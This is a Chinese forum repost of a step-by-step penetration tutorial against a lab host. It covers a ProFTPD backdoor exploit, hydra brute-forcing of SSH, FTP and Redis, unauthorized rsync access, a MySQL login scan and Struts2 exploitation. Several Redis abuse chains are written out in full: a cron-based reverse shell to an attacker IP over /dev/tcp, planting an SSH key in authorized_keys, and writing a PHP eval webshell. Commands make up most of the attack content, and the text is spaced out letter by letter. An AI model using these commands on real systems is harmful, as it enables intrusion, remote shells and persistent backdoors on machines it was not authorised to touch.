搜索

[28170] 2020-02-17_Web常用端口渗透-网站渗透过程

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-02-17_Web常用端口渗透-网站渗透过程 W e b 常 用 端 口 渗 透 - 网 站 渗 透 过 程 S h a d o w - G   O t s 安 全   2 0 2 0 - 0 2 - 1 7 声 明 ： 声 明 ： 文 章 渗 透 网 站 为 模 拟 环 境 ， 文 章 只 为 利 用 过 程 文 章 为 信 息 收 集 和 端 口 渗 透 两 部 分 ， 2 1 端 口 为 f t p 版 本 漏 洞   8 0 8 0 端 口 为 C M S 的 渗 透 信 息 收 集 ： 信 息 收 集 ： · 使 用 扫 描 工 具 n m a p   , P o r t S c a n   对 整 个 网 段 进 行 扫 描 信 息 ： 通 过 访 问 网 站 得 到 要 测 试 的 I P 为 1 9 2 . 1 6 8 . 3 1 . 6 9                     该 I P 的 中 间 件 为 A p a c h e / 2 . 4 . 7   目 标 系 统 为 U b u n t u                     开 放 的 端 口 为 2 1 ( f t p : P r o F T P D   1 . 3 . 3 c ) .   2 2 ( s s h ) . 8 7 3   ( r s y n c ) . 3 3 0 6 （ M y s q l ） .   6 3 7 9 ( R e d i s )   . 8 0 8 0 ( S t r u t s 2 ) 访 问 8 0 端 口 发 现 p h p i n f o 页 面     p h p i n f o 可 获 得 该 I P 网 站 的 所 有 配 置 信 息 测 试 过 程 测 试 过 程 · 2 1 端 口 测 试       查 看 到 f t p 的 版 本 ， 搜 索 得 知 f t p 为 P r o F T P D   1 . 3 . 3 c 存 在 后 门 漏 洞 启 动 M S F 的 终 端 m s f c o n s o l e 搜 索 p r o F T P D 的 攻 击 模 块 ， 并 载 入 s e a r c h   p r o F T P D     / / 搜 索 p r o F T P D 的 攻 击 模 块 u s e   e x p l o i t / u n i t / f t p / p r o f t p d _ 1 3 3 c _ b a c k d o o r     / / 载 入 选 择 模 块
填 写 模 块 内 容   并 执 行 ， 之 后 反 弹 s h e l l   就 o k 了 如 果 不 知 该 填 写 什 么 参 数 可 以   s h o w 一 下 s h o w   o p t i o n s     / / 需 要 填 写 的 信 息 s e t   R H O S T S   1 9 2 . 1 6 8 . 3 1 . 6 9     / / 目 标 I P r u n     / / 执 行 当 然 这 只 是 针 对 P r o F T P D   1 . 3 . 3 c 的 利 用 过 程 ， 也 可 以 使 用 暴 力 破 解 ， 但 你 的 密 码 库 要 绝 对 的 强 大 · 2 2 端 口 测 试       使 用 k a l i 的 工 具 h y d r a 对 目 标 I P 的 2 2 端 口 进 行 暴 力 破 解 爆 破 命 令 ： 爆 破 命 令 ： h y d r a   - l ( 用 户 名 )   r o o t   - P ( 爆 破 字 典 )   / u s r / p a s s . t x t ( 绝 对 路 径 ， p a s s . t x t 为 字 典 文 件 名 ， 可 以 将 自 己 的 字 典 加 入 到 该 目 录 下 )   - V ( 显 示 爆 破 过 程 )     - t ( 指 定 线 程 数 )     1 0     s s h : / / 1 2 7 . 0 . 0 . 1 ( 如 果 是 默 认 端 口 ， 可 以 不 写 ， 如 果 不 是 默 认 端 口 ， 要 加 端 口 x x , 如 s s h : / / 1 2 7 . 0 . 0 . 1 : x x ) 暴 力 破 解 获 得 密 码 获 得 用 户 及 密 码 后 可 以 使 用 s s h 进 行 连 接 2 2 端 口 s s h   用 户 名 @ I P 地 址 这 里 介 绍 一 下 这 里 介 绍 一 下 h y d r a 的 一 些 参 数 的 一 些 参 数 参 数 ： 参 数 ：         - R   继 续 从 上 一 次 进 度 接 着 破 解
        - S   大 写 ， 采 用 S S L 链 接         - s   小 写 ， 可 通 过 这 个 参 数 指 定 非 默 认 端 口         - l   指 定 破 解 的 用 户 ， 对 特 定 用 户 破 解         - L   指 定 用 户 名 字 典         - p   小 写 ， 指 定 密 码 破 解 ， 少 用 ， 一 般 是 采 用 密 码 字 典         - P   大 写 ， 指 定 密 码 字 典         - e   可 选 选 项 ， n ： 空 密 码 试 探 ， s ： 使 用 指 定 用 户 和 密 码 试 探         - C   使 用 冒 号 分 割 格 式 ， 例 如 “ 登 录 名 : 密 码 ” 来 代 替 - L / - P 参 数         - M   指 定 目 标 列 表 文 件 一 行 一 条         - o   指 定 结 果 输 出 文 件         - f   在 使 用 - M 参 数 以 后 ， 找 到 第 一 对 登 录 名 或 者 密 码 的 时 候 中 止 破 解         - t   同 时 运 行 的 线 程 数 ， 默 认 为 1 6         - w   设 置 最 大 超 时 的 时 间 ， 单 位 秒 ， 默 认 是 3 0 s         - v   / - V 显 示 详 细 过 程     各 协 议 的 具 体 命 令 ：         格 式 格 式 + 示 例 ： 示 例 ：         1 、 破 解 、 破 解 s s h ： ：         h y d r a   - L   用 户 名 字 典   - p   密 码 字 典   - t   线 程   - v V   - e   n s   i p   s s h         h y d r a   - l   用 户 名   - p   密 码 字 典   - t   线 程   - o   s a v e . l o g   - v V   i p   s s h         2 、 破 解 、 破 解 f t p ： ：         h y d r a   i p   f t p   - L   用 户 名 字 典   - P   密 码 字 典   - t   线 程 ( 默 认 1 6 )   - v V         h y d r a   i p   f t p   - l   用 户 名   - P   密 码 字 典   - e   n s   - v V 参 数 说 明 ： 参 数 说 明 ： - t 同 时 线 程 数 3 ， - l 用 户 名 是 a d m i n ， 字 典 p a s s . t x t ， 保 存 为 o u t . t x t ， - f   当 破 解 了 一 个 密 码 就 停 止 · 8 7 3 端 口 测 试     8 7 3 端 口 为 r s y n c 服 务 存 在 未 授 权 访 问 漏 洞 启 动 M S F 的 终 端 m s f c o n s o l e 搜 索 r s y n c 的 攻 击 模 块   并 载 入 s e a r c h   r s y n c     / / 搜 索 r s y n c 的 攻 击 模 块 u s e   a u x i l i a r y / s c a n n e r / r s y n c / m o d u l e s _ l i s t     / / 载 入 要 攻 击 的 模 块 s h o w   o p t i o n s     / / 需 要 填 写 的 信 息 s e t   r h o s t s   1 9 2 . 1 6 8 . 3 1 . 6 9   / / 目 标 I P r u n     / / 执 行 可 以 通 过 命 令 达 到 未 授 权 访 问 W W W 文 件 夹 r s y n c   r o o t @ 1 9 2 . 1 6 8 . 3 1 . 6 9 : :       r s y n c   r o o t @ 1 9 2 . 1 6 8 . 3 1 . 6 9 : W W W
· 3 3 0 6   端 口 测 试       使 用 k a l i 的 工 具 进 行 暴 力 破 解 这 里 暴 力 破 解 使 用 的 还 是 m e t a s p l o i t   f r a m e w o r d 老 样 子 ， 先 启 动 M S F 的 终 端 m s f c o n s o l e 因 为 3 3 0 6 为 m y s q l 的 服 务 ， 所 以 要 搜 索 关 于 m y s q l 的 模 块 s e a r c h   m y s q l 之 后 载 入 选 择 的 模 块 ， 我 这 里 选 择 的 是 u s e   a u x i l i a r y / s c a n n e r / m y s q l / m y s q l _ l o g i n   s h o w   o p t i o n 填 写 参 数 ， 可 以 爆 破 出 密 码 为 1 2 3 4 5 6 获 得 用 户 名 及 密 码 后 可 以 通 过 其 他 模 块 进 行 执 行 s q l 语 句 成 功 执 行 s q l 语 句 · 6 3 7 9   端 口 测 试     6 3 7 9 端 口 为 r e d i s 服 务 ， 可 能 存 在 未 授 权 访 问 漏 洞 要 测 试 r e d i s 服 务 需 要 在 本 地 安 装 r e d i s 服 务 安 装 ： 安 装 ： w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 4 . 0 . 8 . t a r . g z           / / 下 载 地 址 t a r   x z f   r e d i s - 4 . 0 . 8 . t a r . g z       / / 解 压 下 载 文 件
c d   r e d i s - 3 . 2 . 0       / / 转 到 r e d i s - 3 . 2 . 0 目 录 下 m a k e       / / 到 所 在 目 录 中 安 装 安 装 成 功 后 需 要 配 置 一 下 文 件 ， 可 以 进 行 远 程 访 问 v i m   r e d i s . c o n f     / / 打 开 配 置 文 件 在 b i n d   1 2 7 . 0 . 0 . 1 前 面 加 上 #   ，     把 p r o t e c t e d - m o d e 设 为 n o 使 用 先 转 到 r e d i s - 3 . 2 . 0 的 s r c 目 录 下 c d   / r o o t / r e d i s - 3 . 2 . 0 / s r c     接 着 启 动 r e d i s 服 务 . / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 3 1 . 6 9 发 现 连 接 成 功 可 以 执 行 i n f o 方 法 ： 1 ） 利 用 计 划 任 务 执 行 命 令 反 弹 s h e l l 条 件 ： 在 r e d i s 以 r o o t 权 限 运 行 时 可 以 写 c r o n t a b 来 执 行 命 令 反 弹 s h e l l 先 在 自 己 的 服 务 器 上 监 听 一 个 端 口 ： n c   - l v n p   4 4 4 4 然 后 执 行 命 令 ： 然 后 执 行 命 令 ： r o o t @ k a l i : ~ #   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 3 1 . 6 9 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > s e t   x   " n *   *   *   *   *   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 3 1 . 1 5 8 / 4 4 4 4   0 > & 1 n " o k 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / o k 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > c o n f i g   s e t   d b f i l e n a m e   r o o t o k 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > s a v e o k 去 查 看 监 听 的 端 口 ， 会 反 弹 会 s h e l l 2 ） ） 写 s s h - k e y g e n 公 钥 然 后 使 用 私 钥 登 陆   条 件 ： R e d i s 服 务 使 用 R O O T 账 号 启 动                                   服 务 器 开 放 了 S S H 服 务 ， 而 且 允 许 使 用 密 钥 登 录 ， 即 可 远 程 写 入 一 个 公 钥 ， 直 接 登 录 远 程 服 务 首 先 需 要 在 本 生 成 密 钥 ：
然 后 然 后 r e d i s 执 行 命 令 ： 执 行 命 令 ： 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 >   c o n f i g   s e t   d i r   / r o o t / . s s h / O K 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s O K 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 >   s e t   x   " n n n s s h - r s a A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B A Q D K f x u 5 8 C b S z Y F g d 4 B O j U y N S p b g p k z B H r E w H 2 / X D 7 r v a L F U z B I s c i w 9 Q o M S 2 Z P C b j O 0 I Z L 5 0 R r o 1 4 7 8 k g u U u v Q r v / R E / e H Y g o a v / k 6 O e y F t N Q E 4 L Y y 5 l e z m O F K v i U G g W t U r r a 4 0 7 c G L g e o r s A y k L + l L E x f a a G / d 4 T w r I j 1 s R z 4 / G e i W G 6 B Z 8 u Q N D 9 G + V q b x / + z i 3 t R A z 2 P W B b 4 5 U X A T Q P v g l w a N p G X V p I 0 d x V 3 j + k i a F y q j H A v 5 4 1 b / E l E d i a S a d P j u W 6 i N G C R a T L H s Q N T o D g u 9 2 o A E 2 M L a E m O W u Q z 1 g i 9 0 o 6 W 1 W f Z f z m S 8 O J H X / G J B X A M g E g J h X R y 2 e R h S p b x a I V g x r o o t @ k a l i n n n " O K 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 >   s a v e O K 然 后 直 接 利 用 公 钥 登 录 s s h s s h   - i   i d _ r s a   r o o t @ 1 9 2 . 1 6 8 . 3 1 . 6 9 3 ) 写 写 w e b s h e l l 条 件 ： 开 启 w e b 服 务   且 w e b 目 录 有 写 入 权 限   知 道 绝 对 路 径 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > c o n f i g   s e t   d i r   / v a r / w w w / h t m l / o k 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p o k 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > s e t   x   " < ? p h p   @ e v a l ( $ _ P O S T [ ' p a s s ' ] ) ; ? > " o k 1 9 2 . 1 6 8 . 3 1 . 6 9 : 6 3 7 9 > s a v e o k 4 ) 使 用 使 用 h y d r a 暴 力 破 解 暴 力 破 解 r e d i s 密 码 密 码 h y d r a   - P   p a s s w d . t x t   r e d i s : / / 1 9 2 . 1 6 8 . 3 1 . 6 9 · 8 0 8 0 端 口 测 试     发 现 网 站 S t r u t s   发 现 S t r u t s 可 以 使 用 S t r u t s   S c a n 工 具 获 得 指 定 漏 洞 交 互 式 s h e l l 下 载 下 载 S t r u t s   S c a n ： ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / L u c i f e r 1 9 9 3 / s t r u t s - s c a n       / / 下 载 t a r   x z f   s t r u t s - s c a n           / / 解 压 c d   s t r u t s - s c a n - m a s t e r     / / 转 到 s t r u t s - s c a n - m a s t e r   下 p y t h o n   s t r u t s - s c a n . p y     / / 运 行 程 序
扫 描 网 站 p y t h o n   s t r u t s - s c a n . p y   h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 6 9 : 8 0 8 0 / i n d e x . a c t i o n 使 用 给 出 的 漏 洞 交 互 s h e l l           执 行 p a y l o a d 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理